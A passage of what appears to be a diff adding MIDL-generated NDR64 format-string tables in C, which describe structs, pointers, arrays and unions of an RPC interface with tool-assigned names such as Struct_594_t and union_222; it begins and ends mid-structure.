0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag99_t __midl_frag99 = +{ +/* *Struct_674_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag100 +}; + +static const __midl_frag98_t __midl_frag98 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag95 + } +}; + +static const __midl_frag96_t __midl_frag96 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag95_t __midl_frag95 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag96 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag94_t __midl_frag94 = +{ +/* Struct_630_t */ + { + /* Struct_630_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_630_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag98, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag93_t __midl_frag93 = +{ +/* *Struct_630_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag94 +}; + +static const __midl_frag91_t __midl_frag91 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag89_t __midl_frag89 = +{ +/* Struct_594_t */ + { + /* Struct_594_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_594_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + &__midl_frag91, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag88_t __midl_frag88 = +{ +/* *Struct_594_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag89 +}; + +static const __midl_frag87_t __midl_frag87 = +{ +/* Struct_576_t */ + { + /* Struct_576_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_576_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag86_t __midl_frag86 = +{ +/* *Struct_576_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag87 +}; + +static const __midl_frag85_t __midl_frag85 = +{ +/* Struct_552_t */ + { + /* Struct_552_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_552_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag84_t __midl_frag84 = +{ +/* *Struct_552_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag85 +}; + +static const __midl_frag83_t __midl_frag83 = +{ +/* Struct_530_t */ + { + /* Struct_530_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_530_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag82_t __midl_frag82 = +{ +/* *Struct_530_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag83 +}; + +static const __midl_frag81_t __midl_frag81 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag80_t __midl_frag80 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag79_t __midl_frag79 = +{ +/* */ + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } +}; + +static const __midl_frag77_t __midl_frag77 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag76_t __midl_frag76 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag77 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag73_t __midl_frag73 = +{ +/* Struct_476_t */ + { + /* Struct_476_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag76 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag72_t __midl_frag72 = +{ +/* Struct_502_t */ + { + /* Struct_502_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_502_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 112 /* 0x70 */, + 0, + 0, + &__midl_frag79, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_58_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag80 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag71_t __midl_frag71 = +{ +/* *Struct_502_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag72 +}; + +static const __midl_frag60_t __midl_frag60 = +{ +/* Struct_110_t */ + { + /* Struct_110_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_110_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */ + } +}; + +static const __midl_frag57_t __midl_frag57 = +{ +/* union_368 */ + { + /* union_368 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag96, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 11 /* 0xb */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 7 /* 0x7 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 8 /* 0x8 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 9 /* 0x9 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 10 /* 0xa */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag56_t __midl_frag56 = +{ +/* Struct_444_t */ + { + /* Struct_444_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_444_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag57 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag55_t __midl_frag55 = +{ +/* *Struct_444_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag56 +}; + +static const __midl_frag54_t __midl_frag54 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag53_t __midl_frag53 = +{ +/* union_222 */ + { + /* union_222 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag54, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 21 /* 0x15 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag55, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag71, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag82, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag84, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag86, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag88, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 7 /* 0x7 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 8 /* 0x8 */, + &__midl_frag93, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 9 /* 0x9 */, + &__midl_frag99, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 10 /* 0xa */, + &__midl_frag109, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 12 /* 0xc */, + &__midl_frag115, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 13 /* 0xd */, + &__midl_frag1839, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 14 /* 0xe */, + &__midl_frag122, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 15 /* 0xf */, + &__midl_frag124, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 16 /* 0x10 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 17 /* 0x11 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 18 /* 0x12 */, + &__midl_frag130, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 19 /* 0x13 */, + &__midl_frag133, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 20 /* 0x14 */, + &__midl_frag135, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 21 /* 0x15 */, + &__midl_frag140, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 22 /* 0x16 */, + &__midl_frag146, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag52_t __midl_frag52 = +{ +/* Struct_970_t */ + { + /* Struct_970_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_970_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* Struct_970_t */ + 0x30, /* 